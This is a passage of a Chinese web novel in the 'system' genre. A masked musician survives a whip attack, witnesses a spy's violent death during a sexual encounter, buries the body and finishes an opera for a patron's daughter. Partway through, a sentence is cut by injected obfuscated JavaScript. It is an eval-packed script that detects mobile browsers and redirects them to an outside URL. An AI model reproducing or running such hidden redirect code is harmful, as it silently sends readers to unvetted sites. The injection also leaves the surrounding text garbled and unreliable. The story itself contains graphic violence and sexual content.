喜悦透过眉眼显露，青年一双眼眯成弯弯月牙形。可远处小径上的煤油灯光，又让他笑容褪去。 韦执事提灯，表明来接他的意图，但并没说是谁。 但站在东楼琴房门口后，择明为难得眉毛打架。 “我不知道是否该告诉您。我其实上次就已被人告知，我不能再来这了。” 韦执事正用钥匙旋开门锁，闻言微不可见轻叹一声。 “莱恩先生，这次依然是夫人的意思。我也不能擅自替她做主。” “这……” 几乎如赶鸭子上架被领进琴房，择明别无选择。不过这次韦执事知道为他留了一盏灯，照亮整个空间。 环视琴房，抚摸墙壁浮雕，他就是不去碰那架钢琴。 最后干脆席地而坐，合眼作冥想状。 【系统Z：这还有其他人在，主人】 听系统提示，择明淡定如常。 只因进门起，他就感觉到一道视线紧随着他。 等剩余的煤油燃尽，琴房回归幽暗之际，身后类似门扣打开的轻响，终于让择明重新睁开双眼。 转身回头，黑暗中大步走来的人眼含怒光，昳丽脸庞因愠色仿佛绽放得更美艳。 而他二话不说，扬手朝择明头顶重重挥下短鞭。 7. 打破的声音是pop！-07 短鞭附带锋利尖勾，被甩动着划破空气。 挥舞它的人，宛如斗兽场走来的铁面常青斗士，鲜血飞溅非但不会引起他的恐惧心慌，反滋养着他无情生长的破坏欲望。 由于第一下没完全避开，择明左臂衣袖被划开道豁口。 地板打蜡，光滑锃亮，曾是舞池的场地上棱形条纹交错，他与男人前进又后退，左右置换旋身又追赶，像极了一场凶险舞曲。仅限于追杀者与被杀者之间。 昏暗中偶然瞥见男人一双盛满怒意的眼，择明当即明白，除非他逃出去，否则就得在这承受对方的怒火，直至平息。 求饶道歉于这位独||裁者而言，只能是火上浇油。 但或许，还有一种方法可尝试。 男人步步紧逼怒气未消半分，择明已奔逃至钢琴旁。 将手放在这位沉默‘目击者’身上，择明趁机开口。 “我不知道我哪里触犯到阁下，也不奢望您给予我解释或宽恕。我唯一的恳求，是请您不要伤害我剩下的，这只完好的手。” 对方脚步放缓，仍在靠近。鞭尾轻拍自己掌心，抚弄尖勾如同驯服凶兽。 “你要我放过你？放过一双本来就废掉的手？” “哈！” 仿佛听到滑稽之极的笑话，乌发男人张嘴，发出单音节的怪笑。 【难为这位先生了，其实不想笑，可以不用笑对么，Z】 择明一面向系统调侃，一面叹气将左臂藏于身后。 “对您来说或许是无用，做什么都碍眼，但对我来说，它永远意义深重。若您执意要‘惩戒’它，那请您在今夜，在这里，将我也一同处决吧。” 男人终于停步，两手环在胸前，眯眼审视着。 “还有什么意义？说说看，说给我听，说清楚。” 视野中，面具恍若银月散发微光，它的所有者从极力争取突然陷入缄默，隔着一样安静的钢琴，投以深沉的，饱含歉意的注视。 深深哀愁犹如石子沉潭，涟漪激荡，愈发灼人眼球。 容颜堪比美神阿芙洛狄忒，心中逼仄容不得他物，男人素来以昂首睥睨之姿看待外界，更不在乎那些被藏匿眼中、表情里的情绪。 在他看来矫情又恶心，更与他无关。 可这是第一次，他没由来地凝神，被他所不理解的哀伤定住身。 “我还未兑现我应完成的诺言。” “我欠霍小姐一个……或许会让她失望的约定。一份糟糕的生日贺礼。” 这语气参杂着怪异的欣喜，面具下的嘴角确实上扬，但不禁令人联想到垂死者回光返照时的释然笑颜。 男人垂下手，再度走出几步。 因困惑皱眉，因沉思抿嘴，他绕过钢琴站在择明身前，仅剩半步距离。 捏住人下巴的动作并不温柔，但至少他收起了鞭子。 “那你想做什么。画画吗？无趣。” 再被质问，还戳中近期所做之事，择明反倒不配合了。 择明：“我并不认识您，也不知道您是谁。但或许您是认识小姐的，且能与她日日相见，因此我不希望任何变故毁坏收到礼物前的惊喜。毕竟，这可能是它唯一有价值的地方。” 这点倔强，和他执意保护左手时如出一辙。 男人紧盯着他，另只手握拳于钢琴上锤打。 “既然这礼物连你也觉得糟糕，那为什么不说？你还能送得出手。” “我说了，它还有作为礼物应有的‘惊喜’。” 极富节奏的锤琴声更响了。 “真不说？” “抱歉，阁下。” 这是择明的最终回答。 眼底怒焰再次燃起，男人掐握力道陡增，指甲陷进皮肉。可比之挥鞭皮开肉绽，又算温和。 琴盖被最后重重一锤，择明重获自由被推开踉跄几步。除去下颚掐痕，他毫发无损。 那名神秘男人又如午夜逃跑的辛德瑞拉，转身消失在无光角落，留给身后响亮刺耳的关门声。 择明这才有时间查看最初划破的豁口。 还好没有伤到，衣服也还能补。 “你有没有发现，这位笑声奇怪的先生，一直都没说自己是否认识小姐。他不会真告密去吧，Z。” 【系统Z：如果您真的担心，那您刚才或许不该借此脱身】 择明回得爽快：“没关系，Z，因为连我也不知道，那份礼物会是什么。” 系统Z没声了。 择明：“我只是刚想到这么说而已，不过，我会遵守的。与人交往诚信是首要，你说对么。” 他听到系统仿佛闷闷回答。 【系统Z：所以这在您与我之间也不成立】 与系统逗趣择明步伐轻快，他拎起油灯向外走，在门旁最后回望一眼。 这夜，他顺利送走琴房暴君是好事。但有件坏事却在霍家各处传开，成为一片阴沉乌云笼罩上空。 昨天傍晚，霍昭龙出行时竟遭遇暗杀，他那辆引以为傲的新款汽车被打成训练场上的靶子，布满弹孔。为保护他，两名保镖当场死亡，三名重伤，他自己则伤到右腿膝盖，未来几个月不得不拄拐杖。 伊凡到次日早晨才从霍家专门的医疗室出来，显然整夜没睡。 霍夫人在外等候多时，立马起身。 “伊凡，我先生他现在怎么样？” 伊凡先抬头看一眼钟表，带着倦意回复。 “霍先生膝盖是擦伤没中弹。但以他这年纪和体格，难说以后会影响走路。止痛药我留了，他因为麻醉昏睡，预计下午三点半会醒。到时候再联系我。” 说完环视一周，伊凡对这只有家仆和霍夫人的情形只觉讽刺。 昨夜也是，三少爷露个面就没影，二少爷压根没下来过。 思绪不受控制，想起霍昭龙的另一个‘儿子’，伊凡微微摇头，试图将其扫出脑中。 然而下楼刚走出去，他就眼前的身影停住脚步。 莱特·莱恩站在门廊下，倚着大理石扶手。 不知出于什么心里，伊凡走去问道。 “难道你也来排队看病。” 出神中被他声音惊吓，那人一抖，慢慢转身面露歉意，对他笑道。 “伊凡先生……抱歉，我没看到你在。” 伊凡：“正常。你背后又没长眼睛。” 语气认真得叫人难以接话，择明哑然。 “既然你没病没伤，那我可以走了。处理霍先生的膝盖倒不是我最麻烦的，他的三名保镖个个都在与死神打拉锯战，其中一人失血太严重，或许熬不过今晚，没他幸运。” 听出他潜台词中的宽慰，青年终于放松呼出口气，揉着酸痛的肩膀和右臂。看来他昨夜守在这没少徘徊踌躇。 四下无人，伊凡话说得直接。 “既然你想上去探望，那就直接去。” 择明嘴角轻扯，没回话。 离车来接还有些时间，伊凡思索片刻，从大衣兜中取出铁皮烟盒。 烟盒表层图案已经褪色，被斑驳锈迹覆盖，辨不出原样。像他这样一位收价昂贵的名医，竟用着如此破旧古老的物品，画面着实怪异。 他沉默着向择明递去一支。 择明摆手拒绝，但却主动拿出火柴。 门廊下烟雾袅袅，伊凡两指夹烟，最开始因吸气过猛，咳了两声。 “这是您的家人送给您的吗？” 提问与他们第一次同坐汽车时精准得匪夷所思，但伊凡已能对此保持镇定，点头承认。 “我父亲的遗物。”他说着特地翻转铁盒，亮出锈迹，“这上面，留着由他的血种出的铁锈。” “他是军人？” “不，码头纤夫。” 回忆一旦被勾起，汹涌如潮水抵挡不住。让平日鲜少谈及自身的伊凡，破天荒说起父亲，童年，以及那远去的年幼自己。 不富裕但能温饱的平凡家庭，母亲就是普通的渔妇，能扛米扛油扛鱼桶，追着顽皮儿子爬上树，又可心细温柔，整夜陪着发烧重病的女儿，仿佛知道所有治疗病痛的方法。 父亲个头很高，也很瘦，常年在海港边劳作吹风，中年未到脸先赶着苍老，布满风痕所致的褶皱。他话不多，但会在孩子受骂挨打时沉默一拦，背起人玩骑长颈鹿。 原以为日子会平淡地过下去，夫妻二人住在港湾边劳作一生，五个孩子健康长大，各自成家。 一切都因一场火，毁得干干净净。 作为长子，伊凡那晚第一次跟着父亲外出学习收网，怀揣对未来的激动期待归家。 谁曾想一回来，家竟变成火海。为救妻儿，家中顶梁柱父亲冲入火海，却也是白白送命。 倾听到这，择明由衷感叹。 “我们俩可真和火过不去，伊凡先生。” “谁说不是呢？神话里，火种可是人从天上偷来的。所以你看，现在有谁能驾驭得了？”伊凡嗤笑自嘲，丢掉烟蒂用脚尖碾了碾，“自私自利，贪得无厌的人啊。” 一辆车驶出林荫道，来势汹汹，下车的霍子骥一样暴躁，远远就能听见他对车内人的咒骂。 “我不管你们昨晚到底派了多少人陪同，勘察多仔细，现在出事是在我负责的地盘，这在以前从有过一次！” “给我去查清楚那群畜生是哪来的，又是从哪得到的消息，没把他们头皮撕下来给我当地毯，那就用你们的！” 霍子骥昨夜没守家和此刻的气急败坏，都有了解释。 昨晚暗杀是他打点不到位，险些酿成大错。 厉声叱喝似乎不过瘾，他抬脚猛踹车门。这大概把里面的人吓得不轻，等他转身后驾车逃得飞快。 霍子骥步上台阶，抬眼先看见择明。 正愁没处发泄，他顶着一张神情狰狞的俊脸，加快步伐。然而发现对方身边的伊凡，气焰顿消。 择明鞠躬行礼，像家中的谦卑仆人。 “三少爷。” 霍子骥冷笑，手叉着腰，好整以暇打量他。 “这时候倒对我卑躬屈膝起来了？是因为你做贼心虚吗？” 他俨然将择明当成最可疑的‘泄密者’针对。尽管这压根没道理。 然而今日不用等择明出声，就有人替他回应。 “三少爷何必让愤怒冲昏头脑，与其想着漫无目的乱揪嫌犯，不如等霍先生醒过来，直接问他更好。我想霍先生应该有看到袭击者的模样，至少两名以上。” 对上伊凡，霍子骥啧嘴，莫名投降得迅速。 “不用你说，我知道。” 甩下这话，他憋着一肚子火与那二人擦肩而过。 觉得很稀奇，择明不禁多看几眼。 他总觉得，这匹嚣张无畏的坏马驹似乎忌惮着医师伊凡。 而这点，果然在他首次于庄园被伊凡邀请上车后得到证实。 原来最开始伊凡初进霍家当家庭医生时，就曾被霍子骥当成一个具有挑战性的‘猎艳目标’。死缠烂打将近半年，却屡战屡败，后来以疗伤为借口故意单独相处，打算对伊凡用强迫手段。 谈到当时情形，伊凡声音比以往冷了八度。 “他把钥匙丢出窗外，说如果我不帮他爽一把，就跟我一起关到早上。但为去给另外的顾客看病，我就做了让他后悔并彻底放弃的事。” “是什么？”择明好奇追问。 车后座里，伊凡翘起腿，冷哼出声。 “我教会了他，膝跳反应的杀伤力有多大，并告诉他男性生|殖||器官如果断了，凭目前的医学技术是无法接上的。若他以后还想站着排尿，只能装导尿管和特制皮套，天天洒手上。” 车内先是一阵寂然，待伊凡余光偷瞥身边，择明捂嘴发抖，最后憋不住捧腹大笑。 受其感染，笑意逐渐爬上伊凡的冷峻面庞。 他很快又转头，看似观望车外风景，实则如胆小窃贼，偷瞄玻璃倒影。 这映着青年半张正常脸，因大笑而泛出绯红。那层堆积皮质仿佛不再难堪可怖。只会让人想到一朵樱粉月季在眼前，重瓣花轻摇轻晃，可爱讨喜。 相处多日伊凡很清楚，在庄园，在陌生人多的街区，面具向来不离青年脸颊。 但在教堂和那群流浪儿身边，诡谲面容毫无保留展露。 卸下假面，亦是卸下所有伪装，才能得见今日鲜活欢愉的笑，发自内心的快乐。 此刻他多少能开始理解，为何教堂里的孩子会称莱特·莱恩是天使临世了。 老爷车悠悠减速，停于教堂外的小巷。但伊凡没下车，只是从提箱中取出张纸和一瓶油膏。 “拿去，按纸上说明每天必须涂抹清洗。我指的是，每天，必须。” 择明手扶车门，诧异着没有下一步。 伊凡好似不耐烦，又伸长手一送。 “最近有人跟我提议，虽然来上课的小孩不怕你的脸，但以后规模变大，甚至有愿意交学费的学生来，你的外表还是会被列入考量项里。而你欠着我材料费诊疗费住宿费，所以就是这么现实，能提升的尽量做到。再说，你那半边不是‘伤’，这半边总是了吧，被你自己闷坏的。” 为表达对这类不自爱行为的鄙夷，他白眼一翻，小作总结。 “如果你不是想用脸做感恩节焖火鸡，那就是蠢。” 特质药膏送出，车扬长而去，择明在巷口目送，掂量着药瓶好笑地再叹。 “伊凡先生，真的不适合做医生以外的职业。” 【系统Z：特别是收债】 教授完一天课程回到花房，择明乖乖按要求，尝试着这时代的‘药物面膜’。 药散发苦味清香，涂抹后刺痛着每处毛孔，半张脸如被蚂蚁啃噬，又麻又烫。 择明不禁嘟嘴吹气，为自己痛痛飞，“我不得不开始怀疑，伊凡先生是也想教我‘令人后悔的一百个医学小知识’。” 【系统Z：或许等您洗完脸，我们就知道答案了】 窗外响起闷雷，闪电光紫红妖冶，为转移对脸部不适的注意力，择明收起画纸手记，吹灭夜灯，搬出小凳子到花房后小径，满脸期待坐下。 【系统Z：您在做什么】 “我在等雷雨来临，我已经闻到那股潮湿，强烈的气味了。” 大道上响起两个人行走的脚步声，择明与他的花房没等来暴雨，而是另外一对客人。 霍子骥一扫白天不快，强硬搂着艾文进花房。 从接吻开始，狂野又霸道。熟悉他偏爱的节奏，艾文不会再像最初那样只会懵懂应和，反而处处随他心意配合。 搂抱中仍不忘踹翻花盆，刻意踢倒矮桌，画纸书册铺满地，霍子骥感受身下之人的胸膛耸动，忽然停住。 察觉他异状，艾文喘着气，声音娇柔。 “您、您今天是不高兴吗，三少爷。” 霍子骥嘴角扬起，用下巴抵着少年锁骨磨蹭，懒散劲好似困倦老猫，“是啊，我家的老头子差点被我害死，更糟糕的是我昨天修剪头发到一半就被叫回来，啧。” 艾文皱眉，纠结着干巴巴安慰。 “老爷一定会没事的，三少爷您已经做得很好了。” “哦？”霍子骥突然有了兴趣，支起脑袋追问，“你觉得我哪里做得好？” “就、嗯——处处都为老爷着想，虽然，唔、虽然有时候会偷懒，但关键时刻从不掉链子。” “还有呢？” “还、啊，还有就是很懂、很懂待人接物。知道怎么照顾人，很聪明……” 霍子骥手上动作未停，情||欲涌动，引得对方无法顺畅说话。他以往最喜欢看艾文被欺负时眼眸湿润，羞怯勾人的模样，让他获得极大愉悦。 这是在他身边呆过时间最长的床|伴，因为能满足他不同常人的性||事癖好。 张嘴咬住人耳廓，他手掐上那修长脖颈，却冷声质问。 “所以……我这算，找出你了吗？” 喘息声停，羞赧少年神色陡变，猛力翻身调转位置将霍子骥摁在地上。他掐握脖颈的力道，比对方更含威胁。 举着两手不做反抗，霍子骥若无其事道，“这真是大惊喜，艾文·布里奇。所以，就是你一直在偷偷泄密？” 艾文自然不会给予回答，他时刻注意霍子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592333|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骥空空的两手，从跨坐改为膝盖重压胸膛。 “你还想从我这问出什么？亲爱的。” 话音未落，他被迫后脑撞地，两耳嗡鸣。 “闭嘴，你让我恶心。” 狠戾语气与他曾经的温顺截然相反。 艾文胸膛起伏激烈，却不是因欲|火焚身，两眼发亮却不是泪光朦胧。恨意怒意交缠，是地狱身处燃烧万年的烈火，饶是霍子骥也不禁眼皮一跳，暗道情况比想象中凶险。 “从你这问出什么？我已经不需要了，霍子骥，我的好三少爷啊，只要你找出我，我的使命就已经完成了。” 霍子骥强忍眩晕，思考未停。 事实确如艾文所说。 尽管他找出了家中潜伏的内鬼，可暗杀已经发生，家主生命受威胁，生意货物都大受影响。即使不是他直接导致的，但逃不开他这关键一环。 无论怎样，在家被惩戒的只会是他。 因为这次他犯的错，已不能再用轻飘飘的道歉赔过了。 霍子骥怒极反笑，又问。 “那么你想要什么？钱？他们又给你什么？拿你家人威胁你还是拿衣食无忧一辈子的保证？”不等回复，他又阴阳怪气一笑。 “放心，你这种人我见多了。其实你蛮有手段的，我还挺欣赏你，而且我们不也过得很愉快？至少你叫得是很爽吧。不如你把你背后的人告诉我，我给你更长远，更富足的保证。” 艾文再度沉默，但目光不再冷静，拽起他衣领试图砸地泄愤。 微不可见的寒光来自霍子骥拇指，他抬手利落一横，鲜血绽放在少年胸口。 反击意想不到，艾文虽及时弹开，却被不如霍子骥眼镜蛇般的攻势，挨了两下，血口更深。 踹飞花盆反被霍子骥避开，艾文转身在花房里闪躲。 雷声轰轰，老天发了怒，闪电成为屋内唯一的光源，也是两人中唯一公平的条件。 霍子骥后脑被砸，听力时好时坏，他默默将顶针换到右手，浑身紧绷提防四周。 花影树影攒动，每一个角落都那么可疑，好像下一秒就要冲出视死如归的敌人。 但霍子骥心知肚明，比起杀害他，艾文更会想逃出庄园，将其余还没透露的机密、把柄，转告给自己背后的人。 “你就这点能耐吗，宝贝。我是不是该提醒你，你就算拿着那点情报回去，也不可能让他们满意的。” “而且，你以为你完成好任务回去，就能功成身退吗？” “你不会不知道，和霍家做对的，又是什么妖魔鬼怪吧？哈！“ …… 污言秽语，恶意刺激，一针一针扎着脑袋。 伴着一声劈天惊雷，艾文怒吼着冲出，推倒整排扦插植株。他撞向在心里被他杀过千遍万遍的男人，与其凶狠扭打。 两人的战争于第二声雷响落幕，霍子骥浑身泥土，狂咳不止，狼狈得爬不起来。 艾文踉跄朝外走，然而颈间一刀割破气管，他时间所剩无几。可他强忍剧痛捂着血口，挣扎着要完成任务。 因为他不得不承认，霍子骥刚才说得句句属实。 无论他是否完成任务，他都只有死路一条。 疼痛，疲惫。 绝望如剧毒被注入身体，漫向四肢百骸。 为什么会如此痛苦。 为什么会如此煎熬。 既然如此，他也宁愿更无耻下作，死也要拖上那霍子骥，让对方余生不再好过。只要走出这扇门，只要让别人，哪怕仅是一个看到他，他就成功了。 泥堆里，霍子骥单手捂耳撑起身体。 他亦明了艾文的意图，纵使眩晕视野模糊，也同样固执追去。 那道紫红闪电，异常豁亮。 它将门边忽现的身影照出，也让艾文两眼发昏，让霍子骥驻足。 无力的身躯被人轻拥，怀抱温暖却又因雨水掺杂丝丝阴冷，艾文眼底发青，为脸被小心抚摸的触感而热泪盈眶。 血倒流进气管，他张嘴像溺亡者发出呻||吟。 只不过他并未落入冰冷孤独的死亡之海，而是在深深怜爱与无尽温柔之中沉沦。 “晚安，我亲爱的艾文。” 这问候短暂也美好，同样是以‘亲爱的’称呼，却能使他为之心颤，坠向安然。他双唇张合，道出回应。 ——晚安，亲爱的莱恩先生 那只轻抚脸颊的手停在少年触目惊心的血口。因震惊而脑中空白的霍子骥，听到一声脆响，也听到内心塌陷，狂流倾泄的轰鸣。 横抱起艾文的男人，有着世间最为荒诞的脸。 左半边，犹如受魔鬼恶毒诅咒，丑陋已不足以描绘其超脱常理的混乱骇然。 右半边，恍若被神明亲吻赐福，雨水滑落苍白光洁的肌肤，端正五官因那无人企及的慈爱超然，除‘完美’之外，再无恰当言辞描绘。 它找不出任何一丝人身上该有的，试图终身隐藏，极力纠正的劣性。 雨点敲打花房玻璃，音拍急促，霍子骥像尊木头人定在那，眼睁睁看择明抱着艾文的尸体从面前经过。 玫瑰花渠正好这两天翻修，将土挖出棺材长宽，择明庄重为人下葬，按艾文信仰为其祈祷，洒下悼念花朵。 铲土有条不紊填埋，嘴中轻轻哼出安魂曲，空灵迷幻。 他如此宁静自然，以至于影响到了霍子骥，让对方自觉走到矮桌，坐下成为唯一参加葬礼的宾客。 大脑无法思考，霍子骥低头。借助屋外闪光，他看清脚下被他打翻的白纸内容。 【诚致莱特·莱恩生命中的光，午夜中的梦，霍骊小姐。为您值得世界欢庆之诞辰，特此献以这份拙劣的《安尔德》】 首行下，标有开幕过场，出现角色，人物关系。毫无疑问，这是一份歌剧台本。 以往最是厌烦这些文字，此刻视线却不自觉黏着，飞快往下浏览。 第一幕，第一节。 落难王子安尔德受敌国巫师诅咒，死亡将在傍晚找上他，勒断他年轻的生命。 得知自己将被死神的镰刀收割，安尔德畏惧着，担忧着，最后不甘屈服，告别心爱的亲友开始逃亡。 马儿换了一匹又一匹，干粮早已吃尽，他的水囊像干裂的嘴唇，再也挤不出一滴。 疲惫又绝望，安尔德躲进无人敢涉足的禁地。 他躺在沼泽中央，用最后的尊严选择自己的死法。 可人却被牵引着飘出泥潭，重新站在结实地面，冰冷身躯被羽毛覆盖回温，阵阵不属人间的歌声婉转，抚平身心伤痛。 饥饿虽令安尔德失去视力，但他仍能开口询问。 【你是谁，这神秘奇怪的好心人】 【为何你拥有比白鸽更柔顺的翎羽，比夜莺更动人的嗓音】 【为何要救我，为何要到我身边】 霍子骥心若擂鼓，不自觉寻找着下一页。 凌乱纸张被他翻得底朝天，他最终在身后捡起续页。 【来，来，来】 【到我身边】 【我的双翼宽阔又松软，世间任一位国王之床榻无可相比】 【到我身边，我的羽翼下】 【我被天堂之主厌弃，被地狱之王驱赶】 【但你将不必忌惮黑暗，不再畏惧死亡，因我的吻可将苦痛化作蜜糖，我的爱是那无礼死神之永敌，能将你永远掩藏】 【只需你轻唤我之真名，只需你从此起誓……】 “现在，三少爷。” 执纸的手战栗，霍子骥回头，望着玫瑰花渠旁蓝眸含笑的人。 “希望您能记住，这又是我们的一个秘密了。” 喉结因急促吞咽上下动，霍子骥紧紧攥着页角，凝视的眼中闪动不一样的渴求。 【你这邪恶又良善，黑暗又光明的怪诞结合体啊】 【你这孤独已至癫狂的，前来救赎我的死亡天使啊】 他深深吸气，如剧目中的王子安尔德，以手按于心口。 【请给我一个亲吻，请拥我入你怀中】 【我将捧起你脚前尘土，向这世界宣告我是你的专属】 8. 打破的声音是pop！-08 浅黄牛皮纸，三沓足有手掌厚，当钢笔尖头画出最后一道终止线，择明松手任其脱落，滚动着坠出桌面。 他仰头后颈枕住椅背，如石雕复活深深吐气。 “创作可真是耗人心血的怪事一桩。”择明声如呓语，嘟哝着，“如果我脑中想法能有实体，他们一定打了一场没有休止符的，异常艰辛的战争。” 轻嗅墨水独有的杏核味，他却又无法扼制心中的畅快命嘴角微扬，为自己庆贺。 “《安德尔》的曲与诗，完成了。” 遵守言出必行的教条，那晚他对神秘男人怎么说，如今就怎么做。 仅献给霍骊小姐的礼物，音乐天才‘莱特·莱恩’的首部处女作——七幕歌剧《安德尔》，耗时两天终于他在笔下诞生。 然而就像屹立顶峰的艺术家永不满足成品，严苛己身，择明摇头批判。 “可如果是我，我绝对不会选这题材。它就像才酿几天的葡萄酒，腥臊不足味。最重要的是，他不够有趣，引人发笑。” 双手交叠搭于小腹，他这会儿才得到秘密陪聊者的回应。 【系统Z：从您这两天不吃不喝下的工作量看，您确实消耗一大部分精力体力，应该挑在今天小作休息】 择明阖眼晃荡双脚，不说话。 自那场暴雨夜起，某种细微变动出现在了系统Z身上。 对他，系统Z不再句句必答。 同样的‘是的，主人’，‘您说得对’，连音调都不曾变化半分，可与先前相比，却多出难以察觉的冷漠。 择明起身，经过工具架顺走一把剪刀。 玫瑰花渠位于他吊床正前方，栽培期见叶不见花，需格外关注光照水分，又得提防可恨狡诈的红蜘蛛啃坏根茎。 但择明不愧为久居花房的特殊花农，经他照料，这片新玫瑰长势可喜，几乎全部存活，深深扎根土壤。也扎根在消失人世，安眠于此的艾文身上。 以湿布抹去一处隐蔽蚜虫卵群，他托起最高一株玫瑰的顶叶，温声问候。 “早安，艾文。这么好的天气，你照料的那群新生马崽一定满草场跑了，令人羡慕的快乐小东西。真希望你也能在。” 【系统Z：您是在后悔杀死了艾文吗】 后悔杀死艾文。 鹦鹉学舌念词几遍，择明并未回答。 他简单洗漱换衣，将台本乐谱用油纸包好，走出花房挂起那柄硕大而牢固的新锁。这是霍昭龙在他正式搬进来时托仆人送来的。 不过锁只在那次暴雨夜后才派上用场。 为完成作品，择明特地向伊凡请假三天，今日刚好是最后期限。他避开人群，熟练从偏门离开庄园，但却朝城镇相反的方向前进。 他抵达拥挤喧闹的火车站，出手阔绰买了一等座位。包下整个车厢。 医师伊凡不仅给他批假期，还慷慨发放薪水。其中虽有按期分摊，克扣最初那笔‘欠款’，但余额依旧可观。 【系统Z：离您买小马驹还有多久，主人】 等待火车启程时再被系统搭话，择明捧起报纸，刻意眯眼，摆出漠不关心的富人脸谱阅览。 报纸质感松轻，翻页嚓嚓声挠人双耳。 在这场沉默对峙下，系统Z成为冷战中最先投降服软的一方，提出疑惑。 【系统Z：您是在对我生气吗，主人】 “尔约村海西水库，林场主西里尔·柯姆钓上有史以来最大的鳟鱼，重量远超去年最高纪录两倍。据悉，这是西里尔场主第三次打破当地垂钓记录……” 择明朗声念着，咂嘴兴致勃勃，“用红莓酱焖烤，洒上碎丁迷迭香。味道光是想想，就要流口水了。” 下一篇，当地某贵族举行盛大的订婚典礼，然而联姻的未婚妻竟于婚礼当天要求解除婚约，理由是和男方性格实在不合，两方人最终不欢而散。 但文章不知是三流笔者的敷衍编造，还是为顾及贵族颜面，信息含糊又简略，更像随口谈及的八卦流言。 择明：“噢，谢天谢地。明智的选择，聪明的女孩。说到底，婚姻其实与任何相伴关系一样，若有不契合的，互相磨平棱角未来倒也相安无事。可若彼此怎么都无法适应，只能说快趁早逃。” 【系统Z：主人】 仅是称呼，再无多余言语。 择明总算放下报纸，窗外景色正好因火车启动而加速倒退。 “我不是对你生气，Z。”他侧过头，随铁轨闷响沉声开口，“或许是我该向你道歉。为我的自负和狭小气量。因为我并不喜欢别人质疑我的决定。” “凡是我做的，必是我抉择已定的。何来后悔一说？” 他的回答令两个疑惑得以解开。 一是他为何别扭置气，二是他对马童艾文所做是否后悔。 霍子骥在花房与艾文生死较量，他一直在外目睹全程。并在死斗结束后现身。 替霍子骥藏起会威胁他继承人之位的间|谍尸体，清理场地不留丝毫痕迹，最后将伞借给浑浑噩噩的三少爷，让他回主宅平复这夜带来的波折心情。 “他已经在痛苦谷底，不再向神求愿，反朝着那死亡天使乞求垂怜，期盼永远安宁的止歇。” 择明念出他歌剧第三幕中的台词。 “可怜的艾文。他消失在八月莅临前。可在我不存在的‘过去’里，他又是怎么消失的？Z。” 暂无权限查询其余人物信息，系统不可能回答。 但最适合的猜测，早于那晚由霍子骥之口道出。 艾文身后操纵着的指使者，就是要不择手段让霍子骥失格，哪怕只是动摇其在霍昭龙心里的地位。 他十分了解霍子骥，乃至霍家庄园上下。这种熟悉绝非外界旁敲侧击，偷摸观察出的。 他知道要如何指导艾文伪装成诱惑可口的猎物，悄然送至野兽嘴边，替他敲打獠牙，拢出秘密碎屑供为自己利用。 最后，等待可丢弃的棋子丧命。不然便由他斩草除根。 一个多么可憎可畏，冷若冰霜的棋手。 【系统Z：所以，您是想说您的作为对艾文来说更仁慈吗】 “不。” 择明托腮，语调轻快。 “你可以说我奇怪，说我可爱，愚蠢，下流或无趣，但Z，你要记清楚，我从来都不是仁慈的人。仁慈，也从来不是形容人类的。” 恍若玩笑般，他补充道，“再说，我可是要当‘反派’的啊。” 【系统Z：您的回答让我困惑，主人】 择明：“唔，我知道了。你说我要买什么颜色的小马驹呢？我个人不太爱注重血统，就按颜色挑好了。” 话题转折无比生硬，即便如此，系统亦明白它不可能再问下去。 一小时旅程转瞬即逝，这趟火车终点站——伊亚郡，是与霍家庄园所在城郊截然不同的繁华地带。 街道更加宽敞，人们衣装体面，甚至连那群巷口乞丐都白净健康，精神气足。作为佩戴面具，引人注目的怪咖，择明穿行街道，竟没收到任何好奇惊诧的注视。 原因或许在于中央河畔旁的建筑——安士白剧院。 白色剧院左右完全对称，如坚固堡垒被河道环绕。光看外面装潢，安士白剧院最令人称道的，当属它由铜网彩窗构建的花形屋顶。 万籁俱寂的夜，河边剧院灯火通明，乐声歌声以及久久不能停息的掌声，都将从‘花蕊’处涌向四处，勾起兴致，引人向往。 在剧院乐厅遍地的伊亚郡，安士白是最受郡中富商权贵喜爱，常常流连忘返的大剧院。亦是无数演奏家，作曲家，歌唱者心驰神往的舞台。 择明敲响西侧小门，门上气窗最先推开。 男职工身穿紫色制服，戴着小帽探出脑袋。乔尔，他胸口名牌上印有名字。 他上下打量择明，面露困惑。 “您好，请问您是……您找谁吗？” “原谅我贸然到访，我来是想见一见这的经理，或任何一位在这的负责人。” 乔尔了然，打响指示意他稍等。 气窗合起没两秒，整扇门从里用力拉开，乔尔招呼着让择明进来，互相介绍后一路自来熟攀谈。 瞄见择明左手夹着的油纸包，乔尔笃定道。 “你也来找汉斯先生自荐？” 择明微笑，当作默认。 乔尔却耸肩，同情地看着他，“那希望你做好最后被轰出来的心理准备。这两天汉斯先生心情不太好，前一个来的人，汉斯先生直接撕了他的曲谱。还有上上个，其实是剧院老熟人了，汉斯先生格外看重他的作品，结果前天撞枪口……” 绘声绘色描述被汉斯先生‘婉拒’的自荐者，乔尔领路到中庭喷泉，终于忍不住停下。 “我能多问你一句吗，莱特。”他说着点了点自己脸。 “你特地戴着面具来，不会是以为这样显得别出心裁，突出个性，好让汉斯先生看中你吧。上个月，有对表演者打扮成火鸡过来。呃——后来他们真被扒干净毛，扔水池里。” 择明忍俊不禁道。 “你误会了。我这是个人原因。” 衣领下拉几寸，露出他脖颈处的烧伤疤痕，无需再多解释。 乔尔默然，不禁多看那面具几眼。 剧院当班以来受上司耳濡目染，他逐渐养成给进出剧院的人打分的爱好。 不知哪冒出的莱特·莱恩，谈吐得体态度谦逊，一双蓝眼漂亮明净，仿佛会说话会微笑。 交谈从不打断他，言辞更无命令句式。就像邻里间最受簇拥，最可靠可信的主心骨，众人会自愿顺服听从。 乔尔担忧地摇摇头。 他的最高分已经给出去了，就是不知汉斯先生那会怎样。 说话间，二人已经到三楼大休息室。 “好吧，总体上讲，你或许能比前几个淘汰者幸运。汉斯先生通常情况下都很平静，很好相处——” 屋内噼里哐当，伴着猫咪叫唤，那位‘很好相处’的汉斯先生正挺着大肚囊，试图把桌面上的东西扫到地上。 